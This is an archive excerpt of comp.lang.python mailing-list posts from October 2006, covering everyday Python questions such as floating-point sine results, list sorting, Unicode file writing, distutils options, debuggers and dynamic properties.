> similar functionality before I went ahead with the project though.
>
> Cheers,
> Bryan Rasmussen

You might take a look at pyHook:
http://sourceforge.net/project/showfiles.php?group_id=65529&package_id=92632



From maxerickson at gmail.com  Sat Oct 14 23:55:10 2006
From: maxerickson at gmail.com (Max Erickson)
Date: Sun, 15 Oct 2006 03:55:10 +0000 (UTC)
Subject: problem with the 'math' module in 2.5?
References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com>
Message-ID: <Xns985CF34C93A44maxericksongmailcom@80.91.229.5>

"Chris" <chrispatton at gmail.com> wrote:

>>>> from math import *
>>>> sin(0)
> 0.0
>>>> sin(pi)
> 1.2246063538223773e-016
>>>> sin(2*pi)
> -2.4492127076447545e-016
>>>> cos(0)
> 1.0
>>>> cos(pi)
> -1.0
>>>> cos(2*pi)
> 1.0
> 
> The cosine function works fine, but I'm getting weird answers for
> sine. Is this a bug? Am I doing something wrong?
> 

>From help(math) in an interactive window:


DESCRIPTION
    This module is always available.  It provides access to the
    mathematical functions defined by the C standard.

So what you are seeing is the behavior of the C library being exposed.


Try sin(pi*0.5) to see similar behavior to cos(pi) or cos(pi*2).



From sjmachin at lexicon.net  Sun Oct  8 09:39:45 2006
From: sjmachin at lexicon.net (John Machin)
Date: 8 Oct 2006 06:39:45 -0700
Subject: Bizzare lst length problem
In-Reply-To: <1160313974.040577.125970@e3g2000cwe.googlegroups.com>
References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com>
	<mailman.53.1160306404.11739.python-list@python.org>
	<1160311703.533544.164250@i42g2000cwa.googlegroups.com>
	<1160312065.656400.275770@k70g2000cwa.googlegroups.com>
	<1160313168.683964.242350@c28g2000cwb.googlegroups.com>
	<mailman.55.1160313631.11739.python-list@python.org>
	<1160313804.076356.278210@c28g2000cwb.googlegroups.com>
	<1160313974.040577.125970@e3g2000cwe.googlegroups.com>
Message-ID: <1160314785.097336.9520@c28g2000cwb.googlegroups.com>


Ben wrote:
> Ah - I found out why I had cast it to a string. I had not, at that
> point, worked out ho to pass the list by value rather than reference,
> and so was casting to a string as a stopgap measure that I then forgot
> about. Now the problem is fixed after this group told me how to pass a
> list by value (by slicing the entire list)
>

All argument passing is by reference. What you are calling "pass a list
by value" is actually two steps:

(1) make a copy of a list
(2) pass a reference to the copy

At the C implementation level, it's a (PyObject *) -- the address of
the object.

HTH,
John



From davidschein at alumni.tufts.edu  Wed Oct 25 14:00:22 2006
From: davidschein at alumni.tufts.edu (David S.)
Date: 25 Oct 2006 11:00:22 -0700
Subject: chained attrgetter
Message-ID: <1161799222.831277.154340@e3g2000cwe.googlegroups.com>

Does something like operator.getattr exist to perform a chained attr
lookup?

I came up with the following, but I can not help but think it is
already done and done better.

Peace,
David S.

def compose(funcs):
    """ return composite of funcs
        this does not support extended call syntax, so each func can
only take a single arg

    >>> from operator import add
    >>> funcs = [lambda x:add('ANSWER: ', str(x)), lambda x:add(x,100)]
    >>> compose(funcs)(9)
    'ANSWER: 109'

    """
    def _func(arg):
        return reduce(lambda v,f: f(v), iter(funcs[::-1]), arg)
    return _func

def chained_attrgetter(cattr):
    """
    >>> class A: pass
    ...
    >>> a1 = A
    >>> a1.a2 = A
    >>> a1.a2.a3 = "Hey, now!"
    >>> chained_attrgetter("a2.a3")(a1)
    'Hey, now!'

    """
    return compose([attrgetter(attr) for attr in
cattr.split('.')[::-1]])



From larry.bates at websafe.com  Sat Oct 21 12:53:18 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Sat, 21 Oct 2006 11:53:18 -0500
Subject: Why doesn't this work?
In-Reply-To: <rNOSPAMon-00D0BD.09381721102006@news.gha.chartermi.net>
References: <rNOSPAMon-00D0BD.09381721102006@news.gha.chartermi.net>
Message-ID: <453A507E.4070602@websafe.com>

Because datetime is a new-style class:

The Constructor __new__

If you are like me, then you probably always thought of the __init__ method as
the Python equivalent of what is called a constructor in C++. This isn't the
whole story.

When an instance of a class is created, Python first calls the __new__ method of
the class. __new__ is a static method that is called with the class as its first
argument. __new__ returns a new instance of the class.

The __init__ method is called afterwards to initialize the instance. In some
situations (think "unplickling"!), no initialization is performed. Also,
immutable types like int and str are completely constructed by the __new__
method; their __init__ method does nothing. This way, it is impossible to
circumvent immutability by explicitly calling the __init__ method after
construction.


I think what you wanted was:

>>> class ts(datetime):
... 	def __new__(self): pass
... 	
>>> a=ts()

-Larry


From fredrik at pythonware.com  Fri Oct 20 02:23:02 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 20 Oct 2006 08:23:02 +0200
Subject: How to upgrade python from 2.4.3 to 2.4.4 ?
In-Reply-To: <453867E8.4080702@gmail.com>
References: <453867E8.4080702@gmail.com>
Message-ID: <eh9q07$dmm$1@sea.gmane.org>

fdu.xiaojf at gmail.com wrote:

> I just want to upgrade my python version from 2.4.3 to 2.4.4,do I need 
> to uninstall python 2.4.3 first ?

afaik, no.

</F>



From sturlamolden at yahoo.no  Sat Oct 21 13:20:08 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 21 Oct 2006 10:20:08 -0700
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <1161449187.222891.275240@e3g2000cwe.googlegroups.com>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
	<4538dd3b$0$24774$426a74cc@news.free.fr>
	<1161440644.300080.198790@b28g2000cwb.googlegroups.com>
	<453A3440.8090801@kevin-walzer.com>
	<1161443842.206948.145300@i42g2000cwa.googlegroups.com>
	<1161447222.660369.196370@i3g2000cwc.googlegroups.com>
	<1161449187.222891.275240@e3g2000cwe.googlegroups.com>
Message-ID: <1161451208.143542.298780@h48g2000cwc.googlegroups.com>


Eric_Dexter at msn.com wrote:

> pygtk can be a pain to install and some of the librarys that are built
> on top of it have copyrights and such.  apple for the fonts and there
> is one for the images.  It also can be a pain to install..  It would be
> nice to see it as a low cost comercial package that is already put
> together say $20 or so then to try to workout a distribution for some
> of that.

On Windows, there are two installers you need to download: One for
PyGTK and one for GLADE + the GTK runtime. Double-click on the
installers and wheeey ... everything works.

http://www.mapr.ucl.ac.be/~gustin/win32_ports/pygtk.html
http://gladewin32.sourceforge.net/modules/news/

If you cannot make this work, your computer skills are at level that
makes me amazed that you have any use for a programming language...



> (but then I believe apple should buy borland).  I think
> sci-pi (If I have the name right) would be a very good platform to
> extend gtk.  A) it is well documentated B) they made it as easy as
> possible to install.  pywin might have some acess to graphics but it is
> windows only and the documentation is sparce.

SciPy is a toolset for scientific programming in Python. It does not
contain any graphics stuff. SciPy depends on NumPy (formerly SciPy
core), which is the "bleeding edge" package for numerical programming
in Python. If you need to scientific datavisualization in Python, you
should take a look at Matplotlib, which also depends on NumPy.
Matplotlib can use a number of backends for displaying graphs,
including PyGTK. I routinely use Matplotlib to draw graphs in my PyGTK
apps on MS Windows. This jus requires two or three installs: NumPy,
Matplotlib and (optionally) SciPy. But you don't need this packages
unless you are doing heavy scientific or numeric programming.



From tomas at fancy.org  Mon Oct  9 00:26:05 2006
From: tomas at fancy.org (Tom Plunket)
Date: Sun, 08 Oct 2006 21:26:05 -0700
Subject: Unicode strings, struct, and files
Message-ID: <7ghji2hr4clsv9fp9nhlqr28sf98jf8e6l@4ax.com>

I am building a file with the help of the struct module.

I would like to be able to put Unicode strings into this file, but I'm
not sure how to do it.

The format I'm trying to write is basically this C structure:

struct MyFile
{
   int magic;
   int flags;
   short otherFlags;
   char pad[22];

   wchar_t line1[32];
   wchar_t line2[32];

   // ... other data which is easy.  :)
};

(I'm writing data on a PC to be read on a big-endian machine.)

So I can write the four leading members with the output of
struct.pack('>IIH22x', magic, flags, otherFlags).  Unfortunately I
can't figure out how to write the unicode strings, since:

message = unicode('Hello, world')
myFile.write(message)

results in 'message' being converted back to a string before being
written.  Is the way to do this to do something hideous like this:

for c in message:
   myFile.write(struct.pack('>H', ord(unicode(c))))

?

Thanks from a unicode n00b,
-tom!


From bjobrien62 at gmail.com  Mon Oct 16 16:01:53 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 16 Oct 2006 13:01:53 -0700
Subject: Need a strange sort method...
In-Reply-To: <1161028595.918128.198190@h48g2000cwc.googlegroups.com>
References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
	<8c7f10c60610161130i4d520b49xd6fc5a8450d579f4@mail.gmail.com>
	<mailman.587.1161023793.11739.python-list@python.org>
	<1161028595.918128.198190@h48g2000cwc.googlegroups.com>
Message-ID: <1161028913.598854.111950@b28g2000cwb.googlegroups.com>


SpreadTooThin wrote:
> Simon Brunning wrote:
> > On 10/16/06, Simon Brunning <simon at brunningonline.net> wrote:
> > > >>> a = [1,2,3,4,5,6,7,8,9,10]
> > > >>> a.sort(key=lambda item: (((item-1) %3), item))
> > > >>> a
> > > [1, 4, 7, 10, 2, 5, 8, 3, 6, 9]
> >
> > Re-reading the OP's post, perhaps sorting isn't what's required:
> >
> > >>> a[::3] + a[1::3] + a[2::3]
> > [1, 4, 7, 10, 2, 5, 8, 3, 6, 9]
> >
> > --
> > Cheers,
> > Simon B
> > simon at brunningonline.net
> > http://www.brunningonline.net/simon/blog/
>

> Ok so this is what I got.. but there is an odd side effect:
>
> def reslice(series):
> 	series.sort()
> 	i = 1
> 	newseries = series[::3]
> 	while(1):
> 		c = series[i::3]
> 		if len(c) >= 3:
> 			newseries = newseries + c
> 		else:
> 			break
> 		i = i + 1
> 	return newseries
>
> a = [2,1,4,3,6,5,8,7,10,9]
> b = reslice(a)
> print b
> >>> [1, 4, 7, 10, 2, 5, 8, 3, 6, 9, 4, 7, 10]
>
> I have one extra 10 that I shouldn't...


I think my loop termination is incorrect...
maybe I should just stop when my new series size is the same size as
the original?



From george.trojan at noaa.gov  Wed Oct 11 17:41:51 2006
From: george.trojan at noaa.gov (George Trojan)
Date: Wed, 11 Oct 2006 17:41:51 -0400
Subject: python 2.5 build problem on AIX 5.3
Message-ID: <egjoev$235$3@news.nems.noaa.gov>

Is there a known problem with ctypes module on AIX? Google did not help 
me to find anything. Here is part of the output from "make":

building '_ctypes' extension
xlc_r -q64 -DNDEBUG -O -I. 
-I/gpfs/m2/home/wx22gt/tools/src/Python-2.5-cc/./Include 
-Ibuild/temp.aix-5.3-2.5/libffi/include -Ibuild/temp.aix-5.3-2.5/libffi 
-I/gpfs/m2/home/wx22gt/tools/src/Python-2.5-cc/Modules/_ctypes/libffi/src 
-I/u/wx22gt/tools/Python-2.5-cc/include -I./Include -I. 
-I/gpfs/m2/home/wx22gt/tools/src/Python-2.5-cc/Include 
-I/gpfs/m2/home/wx22gt/tools/src/Python-2.5-cc -c 
/gpfs/m2/home/wx22gt/tools/src/Python-2.5-cc/Modules/_ctypes/libffi/src/powerpc/aix.S 
-obuild/temp.aix-5.3-2.5/gpfs/m2/home/wx22gt/tools/src/Python-2.5-cc/Modules/_ctypes/libffi/src/powerpc/aix.o
Assembler:
line 1: 1252-162 Invalid -m flag assembly mode operand: PWR5X.
         Valid values are:COM PWR PWR2 PPC 601 603 604 PPC64 620 A35 
PWR4 PWR5 970 PPC970 PWR6 ANY

export OBJECT_MODE=64
cd $TOOLS/src/Python-2.5-cc
./configure --prefix=$TOOLS/Python-2.5-cc --with-gcc="xlc_r -q64" 
--with-cxx="xlC_r -q64" --disable-ipv6 AR="ar -X64"

George


From xi at gamma.dn.ua  Mon Oct  9 16:17:09 2006
From: xi at gamma.dn.ua (Kirill Simonov)
Date: Mon, 9 Oct 2006 23:17:09 +0300
Subject: distutils: optionally build C bindings to an external library
Message-ID: <20061009201709.GA1384@58sirius016.dc.ukrtel.net>

Hi,

I've written a pure Python module, which could optionally use an
external C library. The external library is not required to be on the
user computer however, so I'd like not to build the bindings by default,
but allow a user to turn the build on by specifying some parameter to
`setup.py`. Basically, it should work like
    ./configure --with-some-lib[=/path]

Unfortunately I'm not quite sure how to implement this and I'm already
lost in the distutils internals. Could someone point me to the correct
direction, perhaps giving me a reference to an existing distutils
script?

-- 
xi


From martin.witte at gmail.com  Fri Oct 13 16:24:03 2006
From: martin.witte at gmail.com (wittempj@hotmail.com)
Date: 13 Oct 2006 13:24:03 -0700
Subject: Newbie question - leading zeros
In-Reply-To: <1160763572.744578.36810@m73g2000cwd.googlegroups.com>
References: <20061013130805.T91050@eris.io.com>
	<1160763572.744578.36810@m73g2000cwd.googlegroups.com>
Message-ID: <1160771043.381544.189970@k70g2000cwa.googlegroups.com>


Rainy wrote:
> eldorado wrote:
> > I have looked around and cannot seem to find a way to strip leading zeros
> > off of values in a dictionary. Basically, I am looking to do a for loop
> > and any value that has one or more leading zeros would be stripped. Any
> > pointers would be appreciated. Thanks
> >
> > --
> > Randomly generated signature
> > ICMP: The protocol that goes PING!
>
> import string
> >>> string.lstrip('0001', '0')
> '1'
>
> Hope this willhelp
>
>  -Rainy

string.lstrip is deprecated, so when OPs dictionary has as values
strings it's better to do something like

x = {'a key':'0001', 'another key': '0002'}
for k, v in x.iteritems():
    x[k] = v.lstrip('0')



From horpner at yahoo.com  Wed Oct 11 08:40:14 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 11 Oct 2006 14:40:14 +0200
Subject: Encode differences between idle python and python
References: <1160459071.233638.167150@k70g2000cwa.googlegroups.com>
	<mailman.173.1160465100.11739.python-list@python.org>
	<1160488550.884415.237450@k70g2000cwa.googlegroups.com>
Message-ID: <slrneippj9.1uk.horpner@FIAD06.norwich.edu>

On 2006-10-10, pretoriano_2001 at hotmail.com <pretoriano_2001 at hotmail.com> wrote:
>
> Gabriel, Peter:
> Many thanks for your clear answers!! Best regards.

Something I've been working on is currently using the following
trick:

 # Create some string of non-ASCII text in ISO 8859-1.
 some_string = ''.join(chr(a) for a in range(0xc0, 0xdf)).decode('ISO 8859-1')
 # Print it to stdout, converting to the terminal's encoding, replacing
 #  unprintable characters with '?'.
 print some_string.encode(sys.stdout.encoding, 'replace')

-- 
Neil Cerutti
That's the biggest laughingstock I've ever heard of in my life.
--Trot Nixon


From steve at REMOVE.THIS.cybersource.com.au  Sat Oct 28 05:27:23 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sat, 28 Oct 2006 19:27:23 +1000
Subject: Where do nested functions live?
References: <pan.2006.10.28.07.56.22.854398@REMOVE.THIS.cybersource.com.au>
	<mailman.1389.1162022388.11739.python-list@python.org>
Message-ID: <pan.2006.10.28.09.27.23.186368@REMOVE.THIS.cybersource.com.au>

On Sat, 28 Oct 2006 09:59:29 +0200, Fredrik Lundh wrote:

>> where do nested functions live?
> 
> in the local variable of an executing function, just like the variable 
> "bar" in the following function:
> 
>      def foo():
>          bar = "who am I? where do I live?"
> 
> (yes, an inner function is *created* every time you execute the outer 
> function.  but it's created from prefabricated parts, so that's not a 
> very expensive process).

Does this mean I'm wasting my time writing doc strings for nested
functions? If there is no way of accessing them externally, should I make
them mere # comments? 


-- 
Steven.



From rocky at panix.com  Fri Oct 27 14:36:23 2006
From: rocky at panix.com (R. Bernstein)
Date: 27 Oct 2006 14:36:23 -0400
Subject: Tracing the execution of scripts?
References: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com>
	<wihfydads0p.fsf@panix3.panix.com>
	<mailman.1360.1161959768.11739.python-list@python.org>
Message-ID: <wihbqnxehco.fsf@panix3.panix.com>

Fulvio <fulvio at tm.net.my> writes:
> ***********************
> Your mail has been scanned by InterScan MSS.
> ***********************
Delighted to know that.

> 
> On Friday 27 October 2006 17:31, R. Bernstein wrote:
> > pydb (http://bashdb.sf.net/pydb) has a both the ability to trace lines
> 
> I faced several time that pydb stuck without sign of errors. In the other hand 
> Pdb doesn't appear that problem.
> Mostly pydb freeze on long loops.

In version 1.19 (released today), I extended signal handling so that
you can send the program a signal and it will print a stack trace of
where it is and continue. But even before this release, you could
arrange to enter the debugger by sending it a signal. It's possible
something like this might be used help track down the problem in
either pydb or another Python program that seems to be not
responding. On the other hand, use at your own risk - I don't
guarentee this will work for you.

And.. before you ask for more details, I'll repeat what someone else
posted in response to another of your questions:

  I guess you've been told to read this here, but just in case it
  wasn't, or you didn't bother to read it:

  http://catb.org/esr/faqs/smart-questions.html

> It might be some problem on my setup, I'll check it up...

Given your other posts, that's quite possible. If it's not, submit a
bug report. (Posting to c.l.r isn't the same as submitting a bug
report). Thanks.


From python.list at tim.thechases.com  Wed Oct 18 11:51:02 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Wed, 18 Oct 2006 10:51:02 -0500
Subject: Dictionaries
In-Reply-To: <1161185067.771030.301480@e3g2000cwe.googlegroups.com>
References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com>
Message-ID: <45364D66.8000706@tim.thechases.com>

> How can I add two dictionaries into one?
> E.g.
> a={'a:1}
> b={'b':2}
> 
> I need
> 
> the result {'a':1,'b':2}.

 >>> a.update(b)
 >>> a
{'a':1,'b':2}

-tkc




From skip at pobox.com  Tue Oct 10 08:23:29 2006
From: skip at pobox.com (skip at pobox.com)
Date: Tue, 10 Oct 2006 07:23:29 -0500
Subject: Linting python code...
In-Reply-To: <200610101415.54557.email@christoph-haas.de>
References: <m31wpgjryh.fsf@flognat.myip.nu>
	<200610101415.54557.email@christoph-haas.de>
Message-ID: <17707.37057.62720.611901@montanaro.dyndns.org>


    Christoph> On Tuesday 10 October 2006 14:06, Andrew Markebo wrote:
    >> Are there any python-code linter out there

    Christoph> PyLint (http://www.logilab.org/projects/pylint)
    Christoph> PyChecker (http://pychecker.sf.net)

New kid on the block:

    PyFlakes http://divmod.org/trac/wiki/DivmodPyflakes

It doesn't do nearly as much as the other two but doesn't import the
modules, so it can be used in places the others can't.

Skip


From steve at holdenweb.com  Mon Oct 30 18:42:16 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 30 Oct 2006 23:42:16 +0000
Subject: enumerate improvement proposal
In-Reply-To: <tQv1h.25456$7I1.21803@newssvr27.news.prodigy.net>
References: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>	<mailman.1435.1162124420.11739.python-list@python.org>	<Jb11h.17572$TV3.6879@newssvr21.news.prodigy.com>	<mailman.1437.1162125524.11739.python-list@python.org>	<TDb1h.17175$GR.940@newssvr29.news.prodigy.net>	<4qn37kFmc3q0U1@uni-berlin.de>
	<tQv1h.25456$7I1.21803@newssvr27.news.prodigy.net>
Message-ID: <ei62ii$fvp$1@sea.gmane.org>

James Stroud wrote:
> Diez B. Roggisch wrote:
> 
>>>Okay, I've googled "leaky abstractions" (as was probably your intended
>>>affect with your silence), read the famous essay, and still
>>>don't know what you mean and how it applies to what I have described.
>>>
>>>Do you plan to justify your statement or emptily accuse people of 
>>>violating
>>>esoteric principles?
>>
>>
>>While I can't claim to know what the effbot thinks (the 
>>skull-socks-wearing-python-coder-mindlink-technology is yet to be 
>>developed), I think it's pretty clear what he is after here:
>>
>>Computers compute offsets into data zero-based. Some languages like 
>>pascal completely abstract that away from the user, but python doesn't.
>>
>>So if your colleague/boss/whatever insists on indices being one-based, 
>>this abstraction you introduced for her pretty fast leaks pretty badly. 
>>Consider this simple example:
>>
>>for offset, item in enumerate(some_list, start=1):
>>    if item.is_the_chosen_one():
>>        chosen_one_offset = offset
>>
>>the_chosen_one = some_list[chosen_one_offset]
>>
>>And bang, its Judas not Petrus who gets the pearly gates inc. stock 
>>options.
>>
>>Diez
> 
> 
> Thank you for this explanation. Very illuminating. I think understand 
> this idea well and the thought of 1 basing this function makes me cringe 
> as much as the next guy (though I lacked the vocabulary to explain 
> exactly why I cringe).
> 
> But you see, weaning this university faculty level economist (who 
> already has her own way of doing everything...and to whom I happen to be 
> married) from the traditional economics tools of gauss and sas towards 
> the more sane and flexible tools of python, numarray, and rpy has been a 
> multi-stage process. Tweaking the chosen abstractions to not be as leaky 
> (thank you and thank Fredrik for introducing me to this vocabulary) is 
> still one of the things I'm working towards. I want to solidify the 
> conversion before I concentrate on nuance.
> 
> So, before too much criticism, I challenge even the most skilled python 
> programmer to find his or her own faculty economist (or statistician or 
> physicist) and get them to radically change their computational tools. 
> When you've walked a mile in my shoes, leaky abstractions won't seem 
> like such a big deal after all.
> 
Divorce is obviously the only answer. How could you end up marrying 
someone who counts from one and not zero? ;-)

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From vatamane at gmail.com  Sun Oct 29 23:38:43 2006
From: vatamane at gmail.com (Nick Vatamaniuc)
Date: 29 Oct 2006 20:38:43 -0800
Subject: Open Source?
In-Reply-To: <1162179677.547593.17660@k70g2000cwa.googlegroups.com>
References: <1162179677.547593.17660@k70g2000cwa.googlegroups.com>
Message-ID: <1162183123.585206.268320@h48g2000cwc.googlegroups.com>

You can always start with  open source.  Find a project that you really
like based on Python, and get involved -- look at the source, create
add-ons, fix bugs. This way you get to learn, and you get to contribute
and help others out as well. After a while you will have under your
belt and perhaps it will be easier to find a job.

Mind you, a lot of place are still looking for C/C++, Java and, oh the
horror... COBOL!  Sadly Python is still mostly on the "it's nice to
know but not required category"...

-Nick V.


ArdPy wrote:
> Hi there, these days I am desperately searching everywhere on the
> Internet for part time python jobs. The reason is I want to get
> actively involved with python programming and get some practical
> exposure. Please help me in whatever way you can.



From exarkun at divmod.com  Wed Oct  4 11:18:16 2006
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Wed, 4 Oct 2006 11:18:16 -0400
Subject: A Universe Set
In-Reply-To: <4523cc5f$0$25771$4d3efbfe@news.sover.net>
Message-ID: <20061004151816.1717.550499491.divmod.quotient.67224@ohm>

On Wed, 04 Oct 2006 11:00:28 -0400, Leif K-Brooks <eurleif at ecritters.biz> wrote:
>Jorgen Grahn wrote:
>> - infinite xrange()s
>
>itertools.count()?

Not quite:

    >>> import sys, itertools
    >>> c = itertools.count(sys.maxint)
    >>> c.next()
    2147483647
    >>> c.next()
    -2147483648
    >>> 

Jean-Paul


From will at willmcgugan.com  Mon Oct  2 08:25:00 2006
From: will at willmcgugan.com (Will McGugan)
Date: 2 Oct 2006 05:25:00 -0700
Subject: __init__ style questions
References: <1159785721.004647.51490@c28g2000cwb.googlegroups.com>
	<Xns98507A4715288duncanbooth@127.0.0.1>
	<1159788068.306378.253270@m7g2000cwm.googlegroups.com>
	<Xns9850821A6EE4Cduncanbooth@127.0.0.1>
Message-ID: <1159791900.111642.272280@c28g2000cwb.googlegroups.com>


Duncan Booth wrote:
>
> Yes, it would, although since the implication is that your class expected
> numbers and the file iterator returns strings I'm not sure how much it
> matters: you are still going to have to write more code than in your
> example above. e.g.
>
>    v1 = Vector3D(float(n) for n in itertools.islice(f, 3))
>
> or with my variant:
>
>    v1 = Vector3D(*(float(n) for n in itertools.islice(f, 3)))
>

The generator expression wouldnt really be neccesary since the
constructor converts the iterated values to floats.

But! I understand your objection. It doesn't quite fit with 'explicit
is better than implicit'. Im just debating the trade-off with catching
foolish mistakes and making it easier to use for beginners.

Thanks.



From simon at brunningonline.net  Mon Oct 16 14:30:45 2006
From: simon at brunningonline.net (Simon Brunning)
Date: Mon, 16 Oct 2006 19:30:45 +0100
Subject: Need a strange sort method...
In-Reply-To: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
Message-ID: <8c7f10c60610161130i4d520b49xd6fc5a8450d579f4@mail.gmail.com>

On 16 Oct 2006 11:13:08 -0700, SpreadTooThin <bjobrien62 at gmail.com> wrote:
> I have a list and I need to do a custom sort on it...
>
> for example:
> a = [1,2,3,4,5,6,7,8,9,10] #Although not necessarily in order
>
> def cmp(i,j):  #to be defined in this thread.
>
> a.sort(cmp)
>
> print a
> [1,4,7,10,  2,5,8, 3,6,9]
>
> So withouth making this into an IQ test.
> Its more like
> 1 4 7 10
> 2 5 8
> 3 6 9

>>> a = [1,2,3,4,5,6,7,8,9,10]
>>> a.sort(key=lambda item: (((item-1) %3), item))
>>> a
[1, 4, 7, 10, 2, 5, 8, 3, 6, 9]

-- 
Cheers,
Simon B
simon at brunningonline.net
http://www.brunningonline.net/simon/blog/


From eur.van.andel at gmail.com  Wed Oct 11 11:38:28 2006
From: eur.van.andel at gmail.com (eur.van.andel at gmail.com)
Date: 11 Oct 2006 08:38:28 -0700
Subject: hundreds of seconds?
In-Reply-To: <mailman.319.1160579494.11739.python-list@python.org>
References: <NYOBGCEXSMTP21txc1o000d767a@nyobgcexsmtp21.uswin.ad.vzwcorp.com>
	<mailman.319.1160579494.11739.python-list@python.org>
Message-ID: <1160581108.301858.37760@m7g2000cwm.googlegroups.com>


Michael.Coll-Barth at VerizonWireless.com wrote:
> > -----Original Message-----
> > From: eur.van.andel at gmail.com
>
> > How can I access partial seconds on the system clock?
>
> What is wrong with time.time()?

Absolutely nothing.



> >>> import time
> >>> time.time()
> 1160578386.0109401
> >>> time.time()
> 1160578386.87324
> >>> time.time()
> 1160578387.5790291
> >>> x = time.time()
> >>> y = time.time()
> >>> z = y-x
> >>> z
> 4.6488111019134521

That was just what I needed. I was just ignorant, that's all.


> The difference between x and y is the number of seconds between 'polling's of the OS.  There are some issues with precision.

G5-fiwihex:~ eur$ python
Python 2.3.5 (#1, Mar 20 2005, 20:38:20)
[GCC 3.3 20030304 (Apple Computer, Inc. build 1809)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import time
>>> time.time()
1160580871.258379
>>>

My G5 has lots of digits behind the decimal point, my measuring PC runs
W98. We'll see how it does there. But I trust it to be enough digits.


Thanks.



From rurpy at yahoo.com  Tue Oct 17 11:26:21 2006
From: rurpy at yahoo.com (rurpy at yahoo.com)
Date: 17 Oct 2006 08:26:21 -0700
Subject: OT: What's up with the starship?
In-Reply-To: <mailman.608.1161062982.11739.python-list@python.org>
References: <mailman.419.1160722798.11739.python-list@python.org>
	<SEhYg.7681$gL.2383@southeast.rr.com>
	<1160926000.351967.8340@f16g2000cwb.googlegroups.com>
	<1160938429.707909.28360@f16g2000cwb.googlegroups.com>
	<1160947865.920162.173040@i3g2000cwc.googlegroups.com>
	<1160974552.906162.115060@k70g2000cwa.googlegroups.com>
	<1160983523.518768.16110@e3g2000cwe.googlegroups.com>
	<mailman.580.1161021410.11739.python-list@python.org>
	<1161021960.792970.238240@m73g2000cwd.googlegroups.com>
	<mailman.584.1161023364.11739.python-list@python.org>
	<1161025636.641534.282290@f16g2000cwb.googlegroups.com>
	<mailman.608.1161062982.11739.python-list@python.org>
Message-ID: <1161098781.075645.103360@b28g2000cwb.googlegroups.com>


Fredrik Lundh wrote:
> rurpy at yahoo.com wrote:
>
> > I admit I am totally flmmexed by your answer.
> > What does when the bug was introduced have to do with
> > anything?
>
> oh, I thought your main concern was whether the packages available had
> been compromised,

Yes.

>  and that you asked if that was the reason an advisory
> was released last week.

No, I asked if there was any relationship.
http://groups.google.com/group/comp.lang.python/msg/f1974d9b5a42639e?hl=en&

> if someone has developed an exploit for the vulnerability, chances are
> that they'd attack more than just a single obscure and mostly abandoned
> server.

If someone's goal was to compromise machines by compromising
software that was likely to be installed by many people, they would
be wise to minimize the chance of detection by attacking as few
machines as possible.  But given what mwh wrote earlier about the
incident, and what you say about starship.python.net's lack
of prominence, obviously it was unlikely their goal.



From DustanGroups at gmail.com  Fri Oct 20 20:45:19 2006
From: DustanGroups at gmail.com (Dustan)
Date: 20 Oct 2006 17:45:19 -0700
Subject: Customize the effect of enumerate()?
Message-ID: <1161391519.145292.249510@i42g2000cwa.googlegroups.com>

Can I make enumerate(myObject) act differently?

class A(object):
	def __getitem__(self, item):
		if item > 0:
	            return self.sequence[item-1]
	        elif item < 0:
	            return self.sequence[item]
	        elif item == 0:
	            raise IndexError, "Index 0 is not valid."
	        else:
	            raise IndexError, "Invalid Index."
	def __iter__(self): return iter(self.sequence)

Why the funny behavior, you ask? For my class A, it doesn't make sense
to number everything the standard programming way. Of course, if
someone uses enumerate, it's going to number the items the same way as
ever. Is there any way to modify that behavior, any special function to
set? There doesn't appear to be, according to the docs, but it never
hurts to make sure.



From george.sakkis at gmail.com  Wed Oct 18 03:56:21 2006
From: george.sakkis at gmail.com (George Sakkis)
Date: 18 Oct 2006 00:56:21 -0700
Subject: creating many similar properties
References: <n2fZg.3322$Ka1.1194@news01.roc.ny>
	<1161153829.566566.73960@b28g2000cwb.googlegroups.com>
Message-ID: <1161158181.103138.294330@b28g2000cwb.googlegroups.com>

Michele Simionato wrote:

> Lee Harr wrote:
> > I understand how to create a property like this:
> >
> > class RC(object):
> >     def _set_pwm(self, v):
> >         self._pwm01 = v % 256
> >     def _get_pwm(self):
> >         return self._pwm01
> >     pwm01 = property(_get_pwm, _set_pwm)
> >
> >
> > But what if I have a whole bunch of these pwm properties?
> >
> > I made this:
> >
> > class RC(object):
> >     def _makeprop(name):
> >         prop = '_%s' % name
> >         def _set(self, v):
> >             v_new = v % 256
> >             setattr(self, prop, v_new)
> >         def _get(self):
> >             return getattr(self, prop)
> >         return property(_get, _set)
> >
> >     pwm01 = _makeprop('pwm01')
> >     pwm02 = _makeprop('pwm02')
> >
> >
> > Not too bad, except for having to repeat the name.
> >
> > I would like to just have a list of pwm names and
> > have them all set up like that. It would be nice if
> > each one was set to a default value of 127 also....
> >
> > Any thoughts?
> >
>
> Yes, what about this?
>
> import sys
>
> def defprop(name, default=127):
>     loc = sys._getframe(1).f_locals
>     prop = '_%s' % name
>     def _set(self, v):
>         v_new = v % 256
>         setattr(self, prop, v_new)
>     def _get(self):
>         return getattr(self, prop, default)
>     loc[name] = property(_get, _set)
>
> class RC(object):
>     defprop('pwm01')
>     defprop('pwm02')
>
> rc = RC()
>
> print rc.pwm01 # 127
> print rc.pwm02 # 127
> rc.pwm02 = 1312
> print rc.pwm02 # 32
>
